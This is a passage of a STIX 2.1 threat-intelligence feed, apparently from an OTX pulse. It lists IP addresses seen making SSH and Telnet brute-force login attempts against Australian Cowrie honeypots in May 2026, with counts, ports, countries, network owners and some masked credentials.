      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--d62d2359-4c5f-4aef-a1ff-5cb86aa8e2b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.59.8.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T20:15:06.000Z",
      "valid_until": "2026-06-15T20:15:04.000Z"
    },
    {
      "created": "2026-05-14T20:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 41. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): , C************0, C******************>, F************************t, G************0. Passwords observed (masked): , A*********************p, C**************S, C***************0, T***************>.",
      "id": "indicator--974abeba-eed5-4b08-aacd-2eedc4267cae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.230.108.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T20:15:06.000Z",
      "valid_until": "2026-06-15T20:15:04.000Z"
    },
    {
      "created": "2026-05-14T20:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--4838fe32-1a1b-4062-a0be-19b6494269fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.24.122.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T20:15:06.000Z",
      "valid_until": "2026-06-15T20:15:04.000Z"
    },
    {
      "created": "2026-05-14T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 20485. Organisation(s): Joint Stock Company TransTeleCom.",
      "id": "indicator--f6fa5cde-ad89-4631-a119-4de837250f40",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.43.214.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T20:15:06.000Z",
      "valid_until": "2026-06-15T20:15:04.000Z"
    },
    {
      "created": "2026-05-14T20:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 18881. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--aa651ae7-7428-4cfe-a38f-496703d524da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.26.182.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T20:15:06.000Z",
      "valid_until": "2026-06-15T20:15:04.000Z"
    },
    {
      "created": "2026-05-14T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--f9171fde-7005-4762-9e58-79958ff4085e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.163.3.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T20:15:06.000Z",
      "valid_until": "2026-06-15T20:15:04.000Z"
    },
    {
      "created": "2026-05-14T20:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 27699. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--0c52fc70-5803-4792-b007-5ed399e59948",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.148.117.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T20:15:06.000Z",
      "valid_until": "2026-06-15T20:15:04.000Z"
    },
    {
      "created": "2026-05-14T20:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--e0397bfb-aa1b-47af-a47f-ca27ab297e11",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.124.128.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T20:15:06.000Z",
      "valid_until": "2026-06-15T20:15:04.000Z"
    },
    {
      "created": "2026-05-14T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd.",
      "id": "indicator--e95fe084-9e10-4237-a7c6-3bbec2ec6513",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '1.238.106.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T21:15:11.000Z",
      "valid_until": "2026-06-15T21:15:08.000Z"
    },
    {
      "created": "2026-05-14T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 34806. Organisation(s): Asline Limited.",
      "id": "indicator--e63b25d3-abb1-4d02-b590-a65631b2aa8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.100.69.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T21:15:11.000Z",
      "valid_until": "2026-06-15T21:15:08.000Z"
    },
    {
      "created": "2026-05-14T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 137120. Organisation(s): Nas Internet Services Private Limited.",
      "id": "indicator--a0335364-1319-4ac9-8c06-31284363482b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.206.100.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T21:15:11.000Z",
      "valid_until": "2026-06-15T21:15:08.000Z"
    },
    {
      "created": "2026-05-14T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd.",
      "id": "indicator--d025c182-b303-40d0-a9ba-6c857da94005",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.178.75.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T21:15:11.000Z",
      "valid_until": "2026-06-15T21:15:08.000Z"
    },
    {
      "created": "2026-05-14T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d04e146e-6c8c-47d0-95f4-4ac96528522c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.210.171.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T21:15:11.000Z",
      "valid_until": "2026-06-15T21:15:08.000Z"
    },
    {
      "created": "2026-05-14T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5d72c7eb-f79d-4398-934b-c6e7c5d7cf74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.118.99.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T21:15:11.000Z",
      "valid_until": "2026-06-15T21:15:08.000Z"
    },
    {
      "created": "2026-05-14T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--4225d774-a628-45a9-8585-c9e889737c2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.171.83.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T21:15:11.000Z",
      "valid_until": "2026-06-15T21:15:08.000Z"
    },
    {
      "created": "2026-05-14T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--8e3db2cb-21f0-4b56-a2bd-dae6b4718df6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '211.37.174.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T21:15:11.000Z",
      "valid_until": "2026-06-15T21:15:08.000Z"
    },
    {
      "created": "2026-05-14T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 264838. Organisation(s): INVERSIONES MYJ LTDA.",
      "id": "indicator--1ce02f51-f4ec-485f-af0e-118459d22327",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.227.50.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T21:15:11.000Z",
      "valid_until": "2026-06-15T21:15:08.000Z"
    },
    {
      "created": "2026-05-14T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 29182. Organisation(s): JSC IOT.",
      "id": "indicator--0fb77610-b009-48cc-abde-4edafceb5fb4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.109.17.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T21:15:11.000Z",
      "valid_until": "2026-06-15T21:15:08.000Z"
    },
    {
      "created": "2026-05-14T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 13654. Organisation(s): KC Web, Inc..",
      "id": "indicator--6d7ed525-7383-47ff-ac91-c6c7e206ca3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '68.171.22.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T21:15:11.000Z",
      "valid_until": "2026-06-15T21:15:08.000Z"
    },
    {
      "created": "2026-05-14T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 34984. Organisation(s): Superonline Iletisim Hizmetleri A.S..",
      "id": "indicator--3f1c3487-98fd-4f06-baa8-1eebc32056b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '84.51.18.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T21:15:11.000Z",
      "valid_until": "2026-06-15T21:15:08.000Z"
    },
    {
      "created": "2026-05-14T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: LB. ASN(s): 31126. Organisation(s): Sodetel S.a.l..",
      "id": "indicator--672ebc2b-1324-4bfa-a3b8-bb136e7260fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.108.150.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T21:15:11.000Z",
      "valid_until": "2026-06-15T21:15:08.000Z"
    },
    {
      "created": "2026-05-14T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--834bb257-f278-45d0-a132-8f5bd347f70a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '144.48.135.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T22:15:10.000Z",
      "valid_until": "2026-06-15T22:15:09.000Z"
    },
    {
      "created": "2026-05-14T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--6f04854e-3bec-4b46-b090-01d31e2a2164",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.190.24.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T22:15:10.000Z",
      "valid_until": "2026-06-15T22:15:09.000Z"
    },
    {
      "created": "2026-05-14T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262323. Organisation(s): STAR CONECT TELECOM LTDA.",
      "id": "indicator--ec795219-f504-43bf-8bd5-e2df06066a7e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.107.106.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T22:15:10.000Z",
      "valid_until": "2026-06-15T22:15:09.000Z"
    },
    {
      "created": "2026-05-14T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--8815c1db-2b24-45aa-ac71-ac66f8ca8e23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T22:15:10.000Z",
      "valid_until": "2026-06-15T22:15:09.000Z"
    },
    {
      "created": "2026-05-14T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--7201b34b-d235-4c20-bb64-16c94298a0ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T22:15:10.000Z",
      "valid_until": "2026-06-15T22:15:09.000Z"
    },
    {
      "created": "2026-05-14T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, u****u.",
      "id": "indicator--a426f280-5e28-43e9-9fc4-824f8a793c5a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.108.185.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T22:15:10.000Z",
      "valid_until": "2026-06-15T22:15:09.000Z"
    },
    {
      "created": "2026-05-14T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: SE. ASN(s): 214503. Organisation(s): QuxLabs AB.",
      "id": "indicator--cb92cea1-060d-482e-88e1-952af433cf82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T22:15:10.000Z",
      "valid_until": "2026-06-15T22:15:09.000Z"
    },
    {
      "created": "2026-05-14T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: TW. ASN(s): 9924. Organisation(s): Taiwan Fixed Network, Telco and Network Service Provider..",
      "id": "indicator--0b263b40-089f-41d8-a3d8-1ba912afe0f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.199.224.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T22:15:10.000Z",
      "valid_until": "2026-06-15T22:15:09.000Z"
    },
    {
      "created": "2026-05-14T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--2c302f72-57d3-4a43-98a2-6bb8e9201df8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.255.3.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T22:15:10.000Z",
      "valid_until": "2026-06-15T22:15:09.000Z"
    },
    {
      "created": "2026-05-14T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 3215. Organisation(s): Orange.",
      "id": "indicator--b298948c-f826-4e0b-a345-b9b0121f0a48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '90.127.73.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T22:15:10.000Z",
      "valid_until": "2026-06-15T22:15:09.000Z"
    },
    {
      "created": "2026-05-14T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 701. Organisation(s): Verizon Business.",
      "id": "indicator--9472f709-3177-4960-9afe-b913efec2116",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '96.224.37.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T22:15:10.000Z",
      "valid_until": "2026-06-15T22:15:09.000Z"
    },
    {
      "created": "2026-05-14T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): n********e.",
      "id": "indicator--59cdb5db-ba03-49ed-88d6-7d62d20d68e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.36.111.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T23:15:11.000Z",
      "valid_until": "2026-06-15T23:15:08.000Z"
    },
    {
      "created": "2026-05-14T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56045. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--cb45ea0a-0621-4be3-bb2d-420510323a14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.164.156.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T23:15:11.000Z",
      "valid_until": "2026-06-15T23:15:08.000Z"
    },
    {
      "created": "2026-05-14T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 12252. Organisation(s): America Movil Peru S.A.C.. Usernames observed (masked): r**t. Passwords observed (masked): D******6.",
      "id": "indicator--f9c2a903-4b58-41c7-b9ad-27de34180be9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.223.60.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T23:15:11.000Z",
      "valid_until": "2026-06-15T23:15:08.000Z"
    },
    {
      "created": "2026-05-14T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 6848. Organisation(s): Telenet BV.",
      "id": "indicator--94cc0259-939d-4c2b-83c7-2068636feaa8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.16.27.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T23:15:11.000Z",
      "valid_until": "2026-06-15T23:15:08.000Z"
    },
    {
      "created": "2026-05-14T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation. Usernames observed (masked): r**t. Passwords observed (masked): D******6.",
      "id": "indicator--47f63f85-6377-4ab4-9f77-eb69db41a631",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
